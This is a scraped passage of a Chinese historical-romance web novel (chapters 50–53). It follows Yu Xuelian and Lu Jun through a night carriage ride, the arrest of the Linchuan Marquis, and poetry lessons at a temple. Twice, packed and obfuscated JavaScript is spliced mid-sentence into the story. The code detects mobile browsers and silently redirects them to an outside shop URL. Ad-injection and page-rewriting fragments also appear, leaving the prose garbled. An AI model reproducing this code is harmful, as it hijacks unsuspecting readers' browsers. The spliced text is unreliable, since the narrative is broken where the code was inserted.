虞雪怜不承想陆隽今夜这么倔，摇头道：“不行。” “虞姑娘若说不出理由，陆某恕难从命。” 虞雪怜看陆隽的表情严肃，低头示弱道：“陆公子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13594028|131724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若信我，就不要去找吴大人。” 她顿了顿，原本最初她计划的便是拉拢陆隽，帮扶他，如今到了紧要关头，索性向他道出事实。 并且，陆隽往后只能和她乘一条船。 “我爹爹说，圣上派了锦衣卫查办在金陵捐官卖官的幕后之人。”虞雪怜慢条斯理地说，“陆公子对兵部尚书之子高乘远有印象吗？那日他来给祖母拜寿，教你玩酒令牌，他父亲早前查出这件事跟临川侯有瓜葛，他……” 说到此处，虞雪怜斟酌道：“他担忧我会被袁丞连累，提醒我和临川侯府保持距离。吴大人带你去的那条街巷，里边有座府邸，专门来接待想要买官职的人。” 陆隽面容冷峻，想起吴煦的苦笑，心下一沉。 “若是让人知晓吴大人买官，他的官职是否会受影响？” “何止是影响。”虞雪怜说，“圣上一旦恼怒，轻则打入地牢，重则人头落地。” 刑部的律条虽明确了具体的处罚，可判官是圣上，他若想要人死，便无人能改变他的旨意。 彼时，一群身穿锦绣飞鱼服的男子携刀骑马闯进街巷。 吴煦傻愣地藏在墙角后，耳边嗡嗡作乱。 这不是东厂的人吗？他们弄出这么大的动静，阵势像是来杀人似的。 吴煦扶着墙，疑惑不解，难道他们都是来拜访前辈的吗？ 另有一队人马悠悠地从东街过来，为首的是个上了年纪的中年男人，他头戴巍峨高冠，着象龙之服。 锦衣卫统领挥鞭抽着马背，朝他奔去。 “老祖宗，咱们抓了头目，要如何跟临川侯交代？” 冯璞玉轻蔑地笑道：“要抓头目的是圣上，咱家需要向他临川侯交代？”他花白的眉毛上挑，翘起手指，说，“咱家仁至义尽，照拂临川侯的年数有几年了？” 统领恭敬地说：“满打满算，有二十年了。” “二十年了……”冯璞玉失望地撇撇嘴，道，“二十年了，他昧了咱家多少的东西，他当我是老糊涂，我念着旧情，不与他计较。马沧，眼下他要爬到咱家的脑袋上了，我也不想撕破脸皮。” “老祖宗，属下去贴封条。”马沧抱拳说道，“临川侯对您不义，干扰朝政，不用再给他留情面。” 冯璞玉笑问：“他儿子呢？” “他儿子今夜不在府邸，老祖宗是想拿他儿子开涮？” 在墙角偷听的吴煦流了一身虚汗，他不敢有一步的挪动。若方才他不等陆兄，进了那座府邸，他的性命，他的妻儿老小，要跟着他遭殃了。 50. 教导 将近子时，马车不紧不慢地驶向朱雀桥。 朱雀桥离城门口很近，陆隽抬手去掀车帘，寒风扑面而来，紧接着便是女子的喷嚏声。 他放下帘子，手掌按在窗台上，身子挡住了车窗。 “虞姑娘是要去何处？”陆隽问。 概因是夜深了，陆隽的脸色像覆了一层霜，凛冽地没有一丝表情。 虞雪怜说：“我送陆公子回家。” 陆隽抿唇问：“虞姑娘知道现在什么时辰了吗？” “那我给陆公子找家客栈住。”虞雪怜退让道，“快到下半夜了，陆公子不让我送你，你若走路回去，要走到何时。今夜暂且在城中的客栈歇息吧。” 虞雪怜眼睛水汪汪的，泛着打呵欠流下的泪。单是坐在马车上就有一两个时辰了，她强撑眼皮，道，“陆公子若不肯，我夜里睡不踏实。” 陆隽侧目看向虞雪怜，欲言又止。 良久，他道：“虞姑娘往后勿要在这个时辰出府，不安全。” 陆隽说话时眉间似有山川，他一动不动地望着虞雪怜，仿佛在跟她谈公事。 过往的二十多年，陆隽何曾用过命令的语气，自从他搬来金陵，虞穗有空便给他买屋内的陈设，买外表精致的小物件。 恍若他是被她圈养的情郎。 陆隽也不喜用自己学的道理来教导别人，但他拿虞穗没有办法。 或许是他待她恭敬，她才如此乖张。 虞雪怜能伸能屈：“陆公子教训的是，我记着了。” “若是有下回呢？”陆隽目光沉沉，“既是记着了，若是再犯，该怎么罚你。” 虞雪怜的困意当即消失全无，小声嘀咕：“有这么严重吗。” 陆隽一改之前对虞雪怜的顺从，正如严肃的长辈教导小辈那样，“若是在学堂，夫子再三强调的事，倘学生屡屡犯错，不该罚吗？” 虞雪怜应道：“该罚。”她看陆隽板着脸，柔声问，“陆公子要罚我什么？” 无知者无畏，陆隽忽然说要责罚她，虞雪怜倒很感兴趣。 陆隽常把守分寸挂在嘴边，举止端庄严谨，不容出一点差错。她与他相处的这些日子，也摸清了他的脾气。诸如动怒，生气的情绪，陆隽从不会有。 可最近，他特别爱管教她——不允她买东西，不许她偷溜来见他，不准她半夜出府。虽然她做得确实不规矩，所以陆隽出言教导她，她是领情的。 陆隽蓦地起身，宽阔的身影笼罩在虞雪怜的身上，他的手靠在虞雪怜背后的挡板，不怒自威。 他半弯着身子，不说一句话，只是垂首看着她。 虞雪怜后背是坚硬的挡板，车厢瞬间变得狭窄，她的视线被陆隽占满。 “陆隽，我以后绝对不在这个时辰出府。”虞雪怜浑然不觉自己的声音在发颤，她用食指碰了一下陆隽的手，说，“你坐回去。” 陆隽移开放在挡板上的手，问：“虞姑娘怕了？” 虞雪怜支吾道：“我怕什么。” “怕受罚。”陆隽彻底弯下腰，转为下位者，他蹲在虞雪怜的面前，和她的膝盖持平。 虞雪怜的视线恢复如初，然她放在膝盖上的手被陆隽抓住，他往掌心处拍了三下。 他的力度轻，像给她挠痒痒似的。 因着马夫得了虞雪怜的指令，把陆隽送到客栈，他过了朱雀桥往西走，拐进建邺路。 这马夫是青年人，本不是给镇国将军府做差事的。何况虞雪怜夜行，使不得府邸的马夫。 金陵上好的客栈都在这条路，马夫一面回头看了看帘子，一面减慢速度，问：“娘子，您要去哪家客栈？” 建邺路繁华，在客栈饮酒作乐的纨绔子弟聒噪地玩闹，马夫的问话仿佛掉进海水的小石子，翻不起一点波澜。 他十几岁便在这金陵城闯荡，什么形形色色的人没见过。 今儿个这位娘子样貌标致，出手也阔绰，就是人有点古怪，她让他满城乱转。 后边上马车的男人，书生相，穷酸味和他差不多。小娘子一会儿叫他去朱雀桥，一会儿叫他去客栈，且是下半夜了，聪明人转转脑子，也明白小娘子和这书生八成是出来厮混的。 马车突然停下，陆隽反应过来，双手扶稳车板，身子险些撞在虞雪怜的怀里。 “吁——”马夫勒了缰绳，探头探脑地高声问，“娘子，您去哪家客栈歇脚？” 虞雪怜闻言说道：“去满庭芳。” “得嘞。”马夫调转方向，不再去听车厢的动静。 他们拿了主子的银两，要尽力做好这差事。至于主子是要去做什么，他们在心里头胡乱猜一番就是了，可不能耽误了主子。 马车慢腾腾地走着，陆隽回了刚才的座上。 虞雪怜谨慎地问：“这便是受罚吗？” “是。”陆隽淡然说，“下次不会这般轻。” 虞雪怜转了话锋，道：“陆隽，依这几天的寒气，你别去客栈洗碗碟了。” “你教我写诗作画，我给你报酬，如何？” 她以为陆隽要考虑一阵子再给她答复，结果他不拖泥带水地答应了。 陆隽想，他是要教导好她。 * 翌日，兰园的小丫鬟在院子逗着狸猫。 过了用早膳的时辰，她们的活忙完了，就抱着这狸猫在院里嬉笑。 少顷，良儿急匆匆地进了院子，要到虞雪怜的厢房去。 小丫鬟瞅见她慌里慌张的，围着她问道：“良儿，娘子还没醒呢？你这是怎的了，是夫人那里有事吗？” 今日夫人跟老爷去给快要来金陵的表公子、表小姐备见面礼。 老太太十分重视滁州府来的亲戚，就差在府邸敲锣打鼓地揪着她们耳朵叮嘱，等夫人老爷们来了，她们要时刻贴身照顾着，不能有一丝怠慢。 良儿唉叹道：“不是夫人那里有事。” 小丫鬟接着问道：“那你是为娘子着急？”她们你一言我一语，笑道，“咱们娘子睡到这时辰不是头一回呀，老太太今儿又不找娘子吃茶，女先生回乡了，娘子的课业不是结了吗？” “这天要冷死个人了，咱们做奴婢的都不想出被窝。夫人临走前也交代了，让娘子多睡会儿觉。” 良儿摆摆手，说：“昨天娘子喜欢涂得胭脂用完了，我清早跟嬷嬷一块出府，见宫里的锦衣卫在临川侯的府门前站着，看着不像是好事。” “我当是什么呢。”小丫鬟摸着狸猫的肚皮，笑道，“管它是好事坏事，能碍着咱们吗？” “不跟你们在这说道了。” 良儿深知临川侯府在娘子那里的分量，从前娘子对小侯爷体贴入微，小侯爷若是头疼咳嗽的，娘子便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612088|131724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去问大夫买祛风寒的草药，熬成药茶给小侯爷送去。 小侯爷终究辜负了娘子，跟娘子许诺要娶她为妻，但不妨着他跟别的小娘子耳鬓厮磨。 如今临川侯府把东厂的锦衣卫招惹来，想必是酿下祸事。 良儿腹诽，要尽快把消息说给娘子听。 她进了厢房，金盏正对着铜镜给虞雪怜梳妆。 “娘子，”良儿缓和地说，“奴婢把胭脂买回来了。” 金盏侧身看良儿，说道：“外边难得出太阳，你今日穿的衣裳可是薄了，瞧你的脸都冻红了，夫人不是赏了咱们一件素绒绣花袄吗？下回若出府，穿那件。” “娘子的厢房有暖炉，咱们整天闷在房里也冷不到哪儿去。”金盏拿了一根发簪，给虞雪怜戴上，“出府就不一样了，若穿得少了，自己难受不说，若把风寒传给娘子，是咱们做奴婢的不对。” “不……我不冷。”良儿畏畏缩缩地走过去，把胭脂放在妆台边，半吞半吐地说，“娘子，临川侯府出祸事了。” 金盏嗔道：“好端端的，提临川侯府干什么？” “让她说。”虞雪怜从座上起来，她刚睡醒，身上只穿了里衣。 良儿让金盏这么一嗔，颤着肩膀，道：“奴婢愚拙，只想着把今日看到的告诉娘子，没想要惹娘子不痛快。” “无碍。”虞雪怜问，“你看到什么了？” 良儿把今日所见逐一道出，末了，她道：“怪奴婢好奇心重，凑在那里看热闹，回来忍不住，才跟娘子提这一嘴。” 虞雪怜说：“不怪你，倘若别的小丫鬟见了，也会私底下议论。况且临川侯府惊动了东厂，此事早晚要传遍金陵的。” 金盏讶异临川侯府竟一朝之间横生变故，她瞥见良儿眼眶发红，扭捏道：“是我说话急，没旁的意思，你莫要难受。” 良儿偷偷用帕子擦拭眼角，扯出一丝笑，道：“奴婢去给娘子传早膳。” 金盏继续伺候虞雪怜洗漱，叫小丫鬟搬来一盆新炭，添进暖炉。 当夜，虞鸿率领一队禁军，按圣上的旨意，把临川侯府的前后府门分别派人守着，以免临川候携罪证逃脱。 侯府的院内站着整齐的锦衣卫。临川候在正厅肃然危坐，他的夫人憔悴不堪，时不时地掏出丝帕抹眼泪。 虞鸿身着戎装，他有数余年不穿这沾染鲜血的铠甲了，不想今日再穿，却是来拿临川候。 侯夫人揪紧帕子，哽咽地问：“虞将军，我们侯爷犯了何等的滔天大罪，能让圣上请你来？” 饶是虞鸿有几分同情侯夫人，可有圣上的旨意在，另有司礼监掌印冯璞玉亲自举证，临川候难逃一劫。 他前半辈子在战场拼命，先帝给他加官封爵，后半辈子在这官场，侯夫人若说不知晓临川侯犯了何罪，虞鸿不信。 虞鸿沉默以对，旋即下令锦衣卫搜查侯府。 “侯爷！你要眼睁睁地让他们查吗？”陈氏哑着嗓子，为了保持最后的体面，她忍着撕心裂肺的痛，道，“那阉人妖言惑众，污蔑侯爷，侯爷若是由着他们查。那些不该让人看到的，那些他们想让圣上看到的——临川侯府还有活着的希望吗？” 袁丞冷静地护在侯夫人的身旁，道：“母亲，你别逼父亲了。” 他的眼神含着屈辱，昔日气派的侯府被翻得像个匪穴，犹如掉入了梦魇。 51. 誊抄 袁丞在年初便梦到父亲锒铛入狱，临川侯府遭受灭门惨祸。 他忌惮这不祥之梦，跟母亲去了寺庙参拜，求得神佛庇佑临川侯府。 烧香拜佛并不能解决他被梦魇困扰的问题，反而越发折磨，是以他恳请父亲去镇国将军府送聘礼，娶虞雪怜过门。 之后的种种，再不如以前顺遂，虞雪怜拒婚，府邸出了叛徒，眼下父亲也被奸人暗算—— “袁郎，我若不逼你父亲，你日后的前程怎么办？”陈氏已不在乎临川侯的死活，心如死灰地说，“你现在不及弱冠，手里没实权，若你父亲倒了……母亲不仅要随他去，侯府要挨百姓的唾弃，你父亲的政敌要给咱们使绊子。袁郎，我和你父亲老了，死了不足惜，可你呢？” 纵使临川侯府过去承蒙圣上恩宠，朝廷官宦倚靠着它这座屹立的大山，现如今，圣上要把这座山搬了拆了，还会有谁敢来抵抗？ 即便是圣上的枕边人，今日在皇宫让奴才敬奉，倘若惹了圣上不快，被贬进冷宫也是屡见不鲜。 袁丞隐忍着情绪，他安慰道：“母亲，你不用担忧儿子的前程。你抚养儿子长大，我若不能护母亲周全，枉为人子。” 陈氏泪语凝噎，容颜苍老了许多，她颤巍巍地抬手，说：“好孩子，你不必管我。” 她看向仍坐在厅内处变不惊的临川侯，冷笑道：“你父亲养的小妾外室，白吃白喝侯府这么些年，她们也当要跟我们母子同甘共苦。” “这会儿侯府大难临头，她们休想置身事外。” 袁丞有一瞬的失神，说话温柔细语的母亲在此刻仿佛让人夺了魂魄，恨不能生吞了父亲和他的妾室。 “母亲万不能轻举妄动。”袁丞劝道，“锦衣卫根本查不出什么。” 陈氏收起帕子，理了理鬓发，说：“你父亲做的事，我心里有数。袁郎，母亲去拖着虞将军，你借机抽身去销毁暗房的东西，能毁多少便毁多少。若实在抽不出身，你就把它拿出来给东厂的人，检举我和你父亲。” 她想尽了帮儿子脱身的办法，“你要一口咬死，自己毫不知情，是我吩咐你去销毁证据。” “母亲，我怎能弃你于不顾。”袁丞神情复杂，脸上像是被刀割裂出口子，无形的伤痕致使他痛不堪言，“母亲，我去辩解。” “辩解……”陈氏喃喃自语，好似抓住救命稻草，“袁郎，你去跟虞将军辩解，那怜娘同你是多要好的。可惜，可惜她没嫁给你。她若嫁给你，侯府便不会有今日，虞将军护不了你父亲，总能护得了你这个女婿。” 话音落地，虞鸿进了正厅，说：“侯爷，请吧。” 临川侯纹丝不动地坐在官帽椅上，问：“虞将军要送老夫入昭狱么？” “侯爷这是何苦。”虞鸿语气生硬，道，“我是奉圣上的旨意来请侯爷，陛下既明确地下了圣旨，侯爷若有冤屈，到时自会有刑部的人调查。” 圣上相当重视临川侯的事，若非如此，岂会动用他这个老武将过来。 临川侯笑道：“虞将军，本侯可以跟你走，但请别危及我夫人和袁丞。” 虞鸿意味深长地看着袁丞，思绪可谓是百转千回，这孩子是不靠谱，但也曾称他一声叔父。而侯夫人身躯柔弱，一直抹着眼泪，但临川侯清白与否，不归他管。 “侯爷，请。”袁鸿重复着说。 临川侯儒雅地离座，全然不像要入昭狱的囚犯，“虞将军，这世上果然是没有不透风的墙。”他走到虞鸿身前，手沉重地落在虞鸿的肩上，道，“我自问行事滴水不漏，能有今日，全是他人陷害。” 虞鸿目不斜视：“行得正坐得端，侯爷若是清白的，圣上会为你主持公道。” 临川侯却不苟同：“虞将军不觉得这话可笑吗？有人在圣上跟前栽赃嫁祸本侯，我失去了陛下的信任，从何证明我的清白。” “孰是孰非，侯爷且先跟我走这一遭。” 虞鸿念着临川侯的身份，没给他上镣铐。那边搜查侯府的锦衣卫统领见了，笑着说虞将军切莫顾及私情，随之给临川侯戴上脚镣。 带走了临川侯，锦衣卫直接略过虞鸿，让禁军在天亮前把侯府的人押到刑部去。 临川侯府一夜倾倒，消息不胫而走。 虞鸿在府上不提政事，丫鬟小厮们悄悄凑着说点闲话。 外界说临川侯人面兽心，徇私舞弊，一箩筐的罪行，现被圣上打进昭狱。亦有说临川侯是受奸臣所害，罪不至此。 兰园的小丫鬟这几天很是注意虞雪怜，不管娘子跟小侯爷闹得再难看，毕竟是往日情意相通的一对儿，娘子不可能无动于衷。 但娘子每日该读书就读书，该弹琴就弹琴，还不忘去给老太太请安。 “老太太准许娘子去红螺寺？”金盏把手里的针线活放到一边，犹豫地问，“娘子去红螺寺，求姻缘吗？” 临川侯府被查抄是板上钉钉，又是老爷把他们捉拿归案的。老太太是再也不敢念叨娘子不识好歹，拒了临川侯府的婚事。 “滁州府下了大雪，耽搁了我姑母他们的路程。祖母一直想为小辈张罗婚事，我今日说去红螺寺给表兄表妹他们求姻缘，祖母当然一口就答应了。”虞雪怜翻着柜子，说，“良儿，你帮我收拾包袱。” 金盏问：“那娘子要自个儿去吗？” “你们两个跟我去。”虞雪怜笑吟吟地说，“若不是天冷，祖母非得跟我一同去。” 金盏点点头，说：“奴婢这就收拾包袱。” …… 红螺寺不单是虞雪怜一个女子来借宿求姻缘，有商贾门户的女娘，有高门的仕女，烧香许愿，只为不嫁错人。 虞雪怜备了三天换洗的袄裙。 她明面是来求姻缘挂祈愿红绳，实际是趁此来向陆隽学写诗作画。 虞雪怜捋了一遍上辈子的记忆。若等陆隽参加春闱，进了殿试，他往后要忙于升官，尤其是初入朝廷，棘手的事肯定不少。 陆隽是个十足努力的人，他一旦进了朝廷，不容得自己无所事事。 那么她也不能像现在这样，隔三岔五地去找他了。 夜明星稀，没有了府邸的束缚，虞雪怜很轻易便能去陆隽的宅子。 红螺寺在陆隽宅院的后边，若走近路，半盏茶的工夫就到了。 虞雪怜敲门的时候，陆隽在厢房翻阅诗书。 老师说春闱将至，不需过度温习，挑拣着选薄弱的地方勤加思索。 他其实不擅长作诗。 陆隽听到敲门声，望窗外夜色如墨。 知晓他宅院的人只有那几人，吴阿牛在丹阳县做生意，吴煦遇挫不振，不会选在这个节骨眼登门见他。 陆隽开了一扇门。女子在搓手取暖，袄裙裹挟山间的湿寒，她笑着唤道：“陆隽。” “虞姑娘。”陆隽让她进堂屋，然后问：“上次我说的话，忘了吗？” “事发突然。”虞雪怜解释道，“我今日来红螺寺帮姑母的孩子求姻缘，又想着陆公子歇息地晚，就过来看看。” 陆隽说：“虞姑娘的理由从来是层出不穷。” 虞雪怜不甘示弱道：“陆公子不是也忘了吗？你答应要教我写诗作画的。” “虞姑娘这个时辰来学写诗作画么？”陆隽心里有些恼，可不知该说什么，他说，“陆某改日再教。” 虞雪怜两眼失落，问：“陆公子这是赶我走吗？” 她识相地退出堂屋，说：“那我明日再来找陆公子。” “我送你回去。”在陆隽的眼里，虞雪怜似是胡闹的孩子，而他也算不得明事理的。 是他由着她来的，但凡事讲究点到为止。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>他是贪，可他要有道理有规矩地贪。 次日天不亮，陆隽拿了银两去城里买菜。虞穗喜爱吃辣，寺庙的斋饭清淡，不合她的口味。 若她今日来学写诗，他也好给她煮粥烧菜。 待他回去，虞穗已在门外等着了。 虞雪怜跟陆隽去了他的厢房，她极为自然地坐在他的书案前，问：“陆公子，我要从哪开始学起？” 陆隽从木架拿出《诗经》，道：“虞姑娘把前面十首誊抄下来。” 誊抄是虞雪怜信手拈来的，她嘴唇翕动，拿起搁置在砚台的毛笔，仔细地对照着书册，认真地在宣纸上一笔一画地写。 这本是件枯燥的事，虞雪怜单手撑脸，右手提笔，陆隽则坐在一旁看着。 虞雪怜指着一个形体繁琐的字，问：“陆隽，这个字怎么读？” 陆隽垂首去看，是行文中不常用到的字，他给虞雪怜念了读音，道：“虞姑娘把它们誊抄下来再读。” 虞雪怜乖巧应下，她忽地想起陆隽上辈子最不爱教人。 譬如当初他拜杨阁老为师，后来他做了内阁首辅，也有年轻的朝臣想认他为老师。 陆隽以天资愚笨回绝。因这事，温昭在教坊司跟她说过，首辅大人读了快半辈子的书了，哪有闲工夫收学生。 温昭遗憾地说，若陆隽收了学生，那学生定然了不得。 虞雪怜现在认为，温昭说的话都很有道理。 “陆公子，”虞雪怜停笔问，“我是不是你的学生？” “是。”陆隽回道。 大抵唯有她愿意做他的学生。 一两天学不到什么皮毛，除此以外，虞雪怜发现陆隽的严苛是随她而变。 她提笔磨红了手，他让她暂作歇息。 若是她问他话，他会冷言督促她誊抄诗书。 这都谈不上委屈，然陆隽却计较她那次半夜来敲门的事，在她掌心重重地拍了三下。 原来陆隽的力气并不如他表面那样清瘦羸弱。 * 虞雪怜从红螺寺回来，滁州府的亲戚们已在镇国将军府住了有一日。 “虞绍，你表妹在红螺寺给你求了姻缘签。”老太太容光满面，继而叫嬷嬷拿来，“你母亲昨儿刚跟我说，为你的婚事愁得睡不着觉，让我劝你多相看几家娘子。我呢，主要是人老了，在金陵说不上什么话，但你的婚事，确实不应当再推了。” 嬷嬷把姻缘签呈给虞绍，老太太又道：“瞧，这可是个上上签呢。” 虞绍的样貌和虞鸿有几分相像，不够清秀，有些凶巴巴的。 他礼貌地接下姻缘签，说：“让外祖母为我劳神，外孙惭愧。” “你是家中长子，底下还有两个弟弟。你若过几年还不成家立业，你弟弟就娶不了妻子。”老太太苦口婆心，她这外孙长得不招小娘子喜欢，难怪他母亲愁得睡不着觉。 “你不要成日绷着脸，唇角要往上扬，否则小娘子都被吓跑了。” “谨记外祖母教诲。”虞绍扬起唇角，别扭地捋不直舌头。 “罢了，你这脸怎么随了你舅舅，不如不笑得好。”老太太扶额说。 老太太招手示意：“卉娘，你坐祖母这里。” 房里其他的丫鬟忍俊不禁。这表公子怪可怜的，千里迢迢地过来，老太太对他是左看右看，挑出他的毛病。 把表公子摆弄地像是木偶娃娃，老太太让他的脸朝东，他的脸就不得不朝东。 话说回来，表公子的样貌粗糙，浓眉大眼，一身戾气，笑着真是瘆人。 若不是表公子衣着富贵，如果让他穿上普通百姓的布衣，看着更像是在山林里头打猎的屠夫。 虞绍恢复木讷的表情。母亲叮嘱过，到了金陵，外祖母说什么，他便做什么，不得有半分忤逆。 52. 提醒 若非老太太从滁州府搬到金陵来，他们这些兄弟姊妹根本不来往。 “绍儿，你往外祖母这边站。”老太太意味深长地说。 她也有几年没见虞绍了，只知外孙铁面无私的名声在滁州府可是响当当的，不像他父亲，懦弱的扛不住一点事。 但这相貌……属实不招人喜欢，老太太想到此处，眼皮一翻，瞧了瞧正坐在茶案前的兰娘，暗暗叹了一声。 果然是母不嫌子丑，兰娘说邵儿英气俊朗，在滁州府有不少娘子想嫁给他，如今一看，若当真如此，邵儿岂会现在还未成家？ 虞绍的父亲说来跟他们是同一族的亲戚，说到底，老太太疼爱孙子孙女都来不及，哪里有工夫去顾及外孙。 “外祖母有何吩咐。”虞绍身材魁梧，往老太太这儿一站，直接遮住旁人的视线。 老太太笑着握住虞嘉卉的手，道：“这是你卉妹妹，她母亲便是昨日跟咱们一起吃茶的柳姨娘。” 虞绍低眸看着虞嘉卉，旋即收回目光，道：“卉妹妹。” 他语气实在不带半点起伏，偏长了这副凶狠的面相，从他嘴里说出的话，又是温和细语的。 虞嘉卉打量着虞绍，胆大地抬起眼，道：“表兄。” 姨娘早先说了祖母有意要把她许配给表兄，祖母把表兄夸得天花乱坠，姨娘半信半疑。 毕竟是祖母的娘家人，祖母当然不会说自个儿的外孙不行。 跟金陵城的贵公子相比，虞绍自是比不得他们。 虞嘉卉嘴角嗫嚅，表兄倒算不上丑，仅是样子凶了点而已。 “邵儿，你初来金陵，且近日也不用处理滁州府的事，”老太太语重心长地说，“你平常便不得空陪你母亲，有这一回不容易，这天子脚下，数不清的好去处，多带你母亲逛逛。” 她原是想着让卉娘跟虞绍接触一番，两人若有意，来年就定下婚事。但依柳姨娘的性子，绝对不会答应卉娘嫁给虞绍的。 老太太琢磨着还是罢了，小辈的婚事全凭他们自己去相遇，她不掺和了。 “外孙明白。”虞绍依旧保持军姿，他年少随祖父习武，习惯这么站着。 坐在另一边的柳姨娘打发丫鬟过来问：“老太太，几位夫人说想尝尝姨娘晒的茶叶，可是这会儿子嬷嬷们手里都有活儿，实在没有能使唤的。何况茶叶珍贵，姨娘把它放得严实，没去过拢翠阁的一时也找不着。” “姨娘不想扫几位夫人们的兴致，便叫奴婢请卉娘去拿茶叶。” 老太太的笑容变了些味道，她眯眼说：“这厅内到处是婆子丫鬟，一个都不能使唤？” 小丫鬟面露难色，道：“她……她们不熟悉拢翠阁，姨娘担忧她们误了夫人们品茶。” 老太太不大高兴地说：“是不该误了客人品茶。”她焉能猜不出柳姨娘安的是什么心思，当母亲的生怕女儿嫁错人。 前几日柳姨娘对她说的话就不情不愿的，这两日瞧了她外孙的样貌，肯定更不满。 不论其他，卉娘是绍儿的表妹，于情于理，两人在一块儿说说话有何不可的？柳姨娘未免太急了，把卉娘支走，是在打她这老婆子的脸面。 “卉娘，拢翠阁离我这厅子不远，你带这丫头去吧。”老太太临时改了主意，道，“绍儿，外祖母那房里也有一壶上等的茶叶，你去拿来给你母亲她们尝尝。” 虞嘉卉无奈起身，祖母和姨娘不必要闹这一出，拿个茶叶倒成了紧要事似的。 几位夫人们拖家带口地来，厅内满是妇人的嗤笑，却不让人觉得吵闹。她们出嫁前是高门闺阁的女娘，纵使是说起玩笑，也不至于聒噪。 “怜娘，辛苦你给我家绍儿求姻缘签了。”虞之兰瞥了瞥老太太坐的方向，道，“其实你表兄跟你大哥的脾气有些像，闷葫芦，从来不对自己的事上心。不过你大哥起码不用你母亲发愁。他今年刚至弱冠，你表兄呢，已二十有四了。 “若他听我的话，我呀，都抱着孙子了。” “姑母见外了。”虞雪怜应道，“表兄他尚年轻，姑母不需发愁的。” 陈瑾笑说道：“之兰，我何尝不发愁我这两个孩子的婚事。当年老爷非让虞牧行军，我是一百个不愿意，绍儿能陪在你身边，别提我有多羡慕。” 提起虞牧，桌上坐着的夫人们问道：“眼看着快过年了，虞牧这孩子几时回来？” 陈瑾回道：“军营若是无事，腊月里能回来就不错了。若是有事，便不能回来过年。” “唉，真是吃苦了。” …… 城西处，寒风潇潇，刮得人浑身打哆嗦。 红瓦青砖的小宅院，灶房搭的火炉噼啪作响。 “张生，你越过越埋汰了，这几 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 十年来的俸禄，不够你给儿子媳妇的房里买暖炉？”陈昌石双手插袖，佝偻着腰在火炉前取暖。 张泰禾哼道：“俸禄？那点俸禄领了就有地方花，一年下来能存得住几钱。光是给我儿子备聘礼，我扣扣搜搜的攒哪，东拼西凑的给他凑齐了。你以为我和你一样，钱袋子鼓鼓囊囊的呢？” 陈昌石无言以对，他摇头说：“我是在替你惋惜，想你为官清廉，为圣上朝廷效力，老年却窝在这儿挨冻受冷。” “别，您千万别替我惋惜。”张泰禾拿起铁钳，夹木柴添到火炉，道，“我是没享过荣华富贵，但这日子我过得知足。你看临川侯，不是我幸灾乐祸，他如今过的是什么日子？” 木柴致使火烧得愈来旺盛。张泰禾放下铁钳，道：“临川侯要在昭狱里头过年了，咱们这前半辈子过得如履薄冰，既要回避权贵，又要屈从他们，唯恐被他们算计。我清清白白地告老辞官，活得坦荡，将来死了也自得其所。” 临川侯的事，陈昌石略有耳闻。 “老夫没想到朝廷的动乱到了这般地步。”陈昌石说，“临川侯事无巨细，那么行事滴水不漏的人，被谁揪住尾巴了？” 他们为官了大半辈子，心里犹如有块明镜，朝臣是好是坏，一看便知。 不单是他们知悉，圣上久坐龙椅，底下的人背地里干的勾当，圣上一清二楚。 张泰禾笑问：“能有谁揪住临川侯的尾巴？” “冯璞玉？”陈昌石直起腰，神色凝固，“临川侯一向不招惹冯璞玉，圆滑的一条老狐狸，折在他手里，不该啊。” “爷爷！”张沃挂着鼻涕跑进灶房，摇着张泰禾的胳膊，道，“爷爷，你让大哥哥带我出去玩。” 张泰禾头疼地说：“莫要晃爷爷。” “我这把老骨头要让你晃散架了。” 陈昌石拿了帕子给张沃擦鼻涕，“你大哥哥今儿要在家里做饭，你甭瞎闹。” 张沃可怜兮兮地说道：“大哥哥要出去买菜，让他带着我嘛。” 陆隽搬来金陵后，以代老师拜访为由，到张泰禾家中做客。 他一个月来两三次，总给张沃带好玩的物件，只字不提春闱。 张泰禾看他是诚心诚意地来看望自己，偶尔主动给他讲往年的考题。说些看似是闲话，实则在提醒陆隽，入朝切莫轻易站老臣的阵营。 53. 见面 陆隽在院里淘米。因着老师牙口不好，他便想去熙南路的菜市，买回来些炖汤用的菜。 “胡闹，你大哥哥去买菜，你跟去是添乱。”张泰禾一把手抱起张沃，把他放在大腿上，说，“外边冻胳膊冻腿的，你在灶房陪爷爷烤火，等吃了饭让你大哥哥带你在院子玩。” 张沃扑腾着要下来，“我保证不给大哥哥添乱。爷爷，你给我点银子，大哥哥在咱们家里做饭，买菜您不出钱吗？” 陈昌石被张沃的话逗得笑个不停，打趣道：“张生，听你孙子的话音，我这学生是没少来给你烧饭呢？” 虽说他是陆隽的老师，但往后能帮到陆隽的地方不多了。 朝堂今非昔比，圣心难测。他人年迈不中用了，又不在金陵，是以他叮嘱陆隽，没事就来拜访张泰禾，不指望什么牵线搭桥，只求在金陵有这么一个人脉，不孤苦伶仃的。 “去，你下去。”张泰禾给孙子从怀里撂走，手掏衣袖，拿出一把碎银子，“叫你大哥哥过来。” 